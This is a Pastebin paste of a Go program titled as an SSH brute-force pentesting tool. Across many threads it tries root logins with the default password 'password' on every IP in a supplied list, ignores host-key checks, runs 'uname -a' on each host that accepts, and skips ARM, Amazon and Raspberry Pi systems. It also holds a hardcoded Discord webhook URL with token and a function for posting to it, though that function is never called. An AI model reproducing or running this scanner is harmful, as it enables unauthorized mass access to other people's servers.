Advertisement
xosski

Discord pentesting SSH Brute force

Dec 25th, 2024 (edited)
18
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.30 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "bufio"
  5. "bytes"
  6. "encoding/json"
  7. "fmt"
  8. "log"
  9. "net"
  10. "net/http"
  11. "os"
  12. "os/exec"
  13. "runtime"
  14. "strconv"
  15. "strings"
  16. "sync"
  17. "time"
  18.  
  19. "golang.org/x/crypto/ssh"
  20. )
  21.  
  22. const (
  23. hardcoreWebhook = "https://discord.com/api/webhooks/1199622995040280576/Il4yqAF8NVkXa2SRFShERIqxFFXVB4DNfmNOFLEP9WAVF1khOxH8xZLSCfI4VI8OHzKG"
  24. )
  25.  
  26. var (
  27. ipfile string
  28. threads int
  29. port string
  30. )
  31.  
  32. // Initialize the program by processing command-line arguments
  33. func init() {
  34. if len(os.Args) <= 3 {
  35. fmt.Println("Usage: [brute] [port] [threads] [iplist]")
  36. os.Exit(1)
  37. }
  38. port = os.Args[1]
  39. threads, _ = strconv.Atoi(os.Args[2])
  40. ipfile = os.Args[3]
  41. }
  42.  
  43. // Reads lines from a file and returns them as a slice of strings
  44. func readLines(path string) ([]string, error) {
  45. file, err := os.Open(path)
  46. if err != nil {
  47. return nil, err
  48. }
  49. defer file.Close()
  50.  
  51. var lines []string
  52. scanner := bufio.NewScanner(file)
  53. for scanner.Scan() {
  54. lines = append(lines, scanner.Text())
  55. }
  56. return lines, scanner.Err()
  57. }
  58.  
  59. // Checks if the system is excluded based on the output of the `uname -a` command
  60. func isExcludedSystem(unameOutput string) bool {
  61. excludedSystems := []string{"aarch", "amzn", "amzn2", "armv7l", "raspberry", "raspberrypi"}
  62. for _, excluded := range excludedSystems {
  63. if strings.Contains(unameOutput, excluded) {
  64. return true
  65. }
  66. }
  67. return false
  68. }
  69.  
  70. // Sends a message to Discord via the webhook
  71. func toDiscord(message DiscordMessage, webhookURL string) {
  72. payload, err := json.Marshal(message)
  73. if err != nil {
  74. log.Println("Error marshalling Discord message:", err)
  75. return
  76. }
  77. resp, err := http.Post(webhookURL, "application/json", bytes.NewBuffer(payload))
  78. if err != nil {
  79. log.Println("Error sending message to Discord:", err)
  80. return
  81. }
  82. defer resp.Body.Close()
  83. }
  84.  
  85. // Structure for the Discord message
  86. type DiscordMessage struct {
  87. Embeds []Embed `json:"embeds"`
  88. }
  89.  
  90. type Embed struct {
  91. Title string `json:"title,omitempty"`
  92. Description string `json:"description,omitempty"`
  93. Color int `json:"color,omitempty"`
  94. Author Author `json:"author,omitempty"`
  95. Footer Footer `json:"footer,omitempty"`
  96. }
  97.  
  98. type Author struct {
  99. Name string `json:"name,omitempty"`
  100. }
  101.  
  102. type Footer struct {
  103. Text string `json:"text,omitempty"`
  104. }
  105.  
  106. // Runs the SSH command on the target host
  107. func remoteRun(user, addr, pass, cmd string) (string, error) {
  108. config := &ssh.ClientConfig{
  109. User: user,
  110. HostKeyCallback: ssh.InsecureIgnoreHostKey(),
  111. Auth: []ssh.AuthMethod{
  112. ssh.Password(pass),
  113. },
  114. Timeout: 40 * time.Second,
  115. }
  116.  
  117. client, err := ssh.Dial("tcp", net.JoinHostPort(addr, port), config)
  118. if err != nil {
  119. return "", err
  120. }
  121. defer client.Close()
  122.  
  123. session, err := client.NewSession()
  124. if err != nil {
  125. return "", err
  126. }
  127. defer session.Close()
  128.  
  129. var b bytes.Buffer
  130. session.Stdout = &b
  131.  
  132. err = session.Run(cmd)
  133. if err != nil {
  134. return "", err
  135. }
  136.  
  137. if isExcludedSystem(b.String()) {
  138. log.Printf("IP %s excluded due to system: %s", addr, b.String())
  139. return "", nil
  140. }
  141.  
  142. return b.String(), nil
  143. }
  144.  
  145. // Worker function to handle each SSH task concurrently
  146. func worker(id int, jobs <-chan string, wg *sync.WaitGroup) {
  147. defer wg.Done()
  148.  
  149. for ip := range jobs {
  150. output, err := remoteRun("root", ip, "password", "uname -a")
  151. if err == nil {
  152. fmt.Printf("Worker %d: Success for IP %s: %s\n", id, ip, output)
  153. } else {
  154. fmt.Printf("Worker %d: Error for IP %s: %s\n", id, ip, err)
  155. }
  156. }
  157. }
  158.  
  159. // Main function: Initializes workers, reads IPs, and controls concurrency
  160. func main() {
  161. lines, err := readLines(ipfile)
  162. if err != nil {
  163. log.Fatalf("readLines: %s", err)
  164. }
  165.  
  166. uniqueIPs := make(map[string]bool)
  167. for _, line := range lines {
  168. ip := strings.TrimSpace(line)
  169. if ip != "" {
  170. uniqueIPs[ip] = true
  171. }
  172. }
  173.  
  174. var ips []string
  175. for ip := range uniqueIPs {
  176. ips = append(ips, ip)
  177. }
  178.  
  179. // Create a channel to send jobs to workers
  180. jobs := make(chan string, len(ips))
  181. var wg sync.WaitGroup
  182.  
  183. // Start the workers
  184. for w := 1; w <= threads; w++ {
  185. wg.Add(1)
  186. go worker(w, jobs, &wg)
  187. }
  188.  
  189. // Dispatch jobs to workers
  190. for _, ip := range ips {
  191. jobs <- ip
  192. }
  193. close(jobs)
  194.  
  195. // Wait for all workers to finish
  196. wg.Wait()
  197. fmt.Println("Execution completed")
  198. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement